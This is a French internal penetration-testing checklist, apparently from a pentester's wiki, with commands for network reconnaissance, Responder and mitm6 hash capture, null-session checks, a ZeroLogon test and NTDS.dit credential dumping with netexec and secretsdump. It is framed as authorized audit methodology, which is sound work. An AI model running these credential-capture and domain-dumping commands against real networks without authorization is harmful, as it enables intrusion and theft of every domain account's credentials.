Tests d'intrusion internes

Préparation & Pré-requis

  • Préparer l’environnement de test ;
  • Valider la présence de tous les outils nécessaires, dont à minima : netexec, nmap, impacket, bloodhound, bloodyAD, krbrelayx, une suite office ;
  • Vérifier que la journalisation fonctionne correctement ;
  • S’assurer que l’on possède les comptes utilisateurs pour la partie boîte grise.

Reconnaissance & Découverte du réseau

Accès au réseau

ifconfig # Consulter l'IP et les caractéristiques réseau
sudo dhclient eth0 -v # Demander l'attribution d'une adresse IP au serveur DHCP

Dans le cas où il n’y a pas de serveur DHCP, l’obtention d’une adresse IP ne se fera pas naturellement, il faut alors s’attribuer une IP fixe :

sudo systemctl stop NetworkManager
sudo ip addr flush eth0
sudo ip addr add $IP_ADDRESS/$MASK dev eth0

Il peut être intéressant également, pour scanner d’autres sous-réseaux, d’ajouter des routes par défaut.

sudo ip route add default dev eth0 via $IP_GATEWAY

Ecoute passive du réseau

Lancer un above afin de lister les protocoles présents sur le réseau :

sudo above --interface $IFACE --timer $TIMER

Regarder spécifiquement les protocoles LLMNR, NBT-NS, MDNS et les RS en IPv6.

Cartographie du réseau

Faire un nmap sur les réseaux/sous-réseaux identifiés et bien mettre l’option -oA pour avoir toutes les sorties.

nmap $IP -sT -sV -p- --open --min-rate 1000 -oA ScanNmap -vv -Pn

Il est conseillé d’importer les scans dans Metasploit pour s’en resservir par la suite lors d’analyses/exploits sur des services.

msfdb init # Initialiser la base de données de Metasploit
metasploit # Lancer Metasploit

# Dans Metasploit
msf > workspace -a $NOM # Créer un espace de travail pour le projet
msf > workspace $NOM # Rentrer dans l'espace de travail voulu
msf > db_import $XML_FILE # Import du XML généré par Nmap

Tests en boîte noire

Empoisonnement ARP 🚧

TO DO

Empoisonnement DNS

Si l’on sait que des protocoles multidiffusion sont présents sur le réseau, lancer un responder afin de tenter de récupérer des hashs NTLMv2.

sudo responder -I $IFACE -wdvF

Les résultats sont stockés dans /usr/share/responder/logs/Responder-Session.log

Si le protocole IPv6 est activé, il est encore plus simple et rapide de recueillir des hashs avec mitm6 :

mitm6 -i eth0 -d $DOMAIN

Attaque par relais NTLM

Si la signature SMB est désactivée sur certains serveurs et que de l’empoisonnement DNS est possible, il est alors envisageable de réaliser du relais NTLM.

Voir la partie consacrée à cette attaque : Relais NTLM

Etude des applicatifs

En fonction des résultats des scans, certains services réseaux seront ouverts et potentiellement exploitables. Voir les différents guides de la section “Services réseaux

Sessions nulles et invités

Sur le contrôleur de domaine, on peut déjà vérifier si la session nulle est autorisée sur les protocoles RPC ou LDAP :

# Protocole RPC
rpcclient -p 135 -U '' -N $DC_IP
rpcclient -p 135 -U 'nonexistantaccount' -N $DC_IP

# Protocole LDAP
ldapdomaindump $DC_IP

Sur le protocole SMB, on a surtout envie de savoir si des partages sont ouverts sur le réseau et accessibles en tant qu’anonyme ou invité.

nxc smb $DC_IP -u 'nonexistantaccount' -p '' --shares
nxc smb $DC_IP -u '' -p '' --shares

ZeroLogon

Avant de passer dans un contexte de boîte grise, il faut toujours vérifier si le DC est vulnérable à ZeroLogon avec le script zerologon_tester.py :

./zerologon_tester.py $DC_HOSTNAME $DC_IP

Ne surtout pas exploiter ZeroLogon sauf demande éclairée du client.


Tests en boîte grise

Dump des informations du domaine 🚧

Mots de passe dans le champ Description 🚧

Password Spraying 🚧

AS-REP Roasting

Voir la section consacrée à cette attaque : AS-REP roasting

Kerberoasting

Voir la section consacrée à cette attaque : Kerberoast

Exploitation des partages réseaux 🚧

ADIDNS Poisonning

Voir la section consacrée à cette attaque : ADIDNS Poisoning

Délégation Kerberos 🚧

GPO & GPP 🚧

ADCS et ESCs 🚧

  • Est-ce que l’extension PKINIT est activée ? Si oui, vérifier la présence de la vulnérabilité Shadow Credential

NoPAC

Voir la section consacrée à cette attaque : NoPAC


Post exploitation 🚧

Extraire la base NTDS.dit

Cette manipulation nécessite les privilèges d’administrateur du domaine

Extraction à distance

Extraction avec netexec :

nxc smb $DC_IP -d $DOMAIN -u $USER -p $PASS --ntds # Password
nxc smb $DC_IP -d $DOMAIN -u $USER -H $HASH --ntds # Hash NTLM

Extraction avec la suite impacket :

secretsdump.py '$DOMAIN/$USER@$FQDN' -k -no-pass # Kerberos Auth
secretsdump.py '$DOMAIN/$USER:$PASS@$FQDN>' # Password Auth
secretsdump.py '$DOMAIN/$USER@$FQDN' -hashes ':$NTLM_HASH' # Hash Auth

Extraction en locale

Il est possible également de récupérer la base ntds.dit depuis le controleur de domaine et de l’extraire localement depuis la machine d’audit. Les fichiers nécessaires sont les suivants :

%SYSTEMROOT%\NTDS\ntds.dit
%SYSTEMROOT%\System32\config\SYSTEM

Une fois ces deux fichiers récupérés, il est possible d’utiliser secretsdump pour extraire la base localement.

impacket-secretdump -ntds ntds.dit -system SYSTEM LOCAL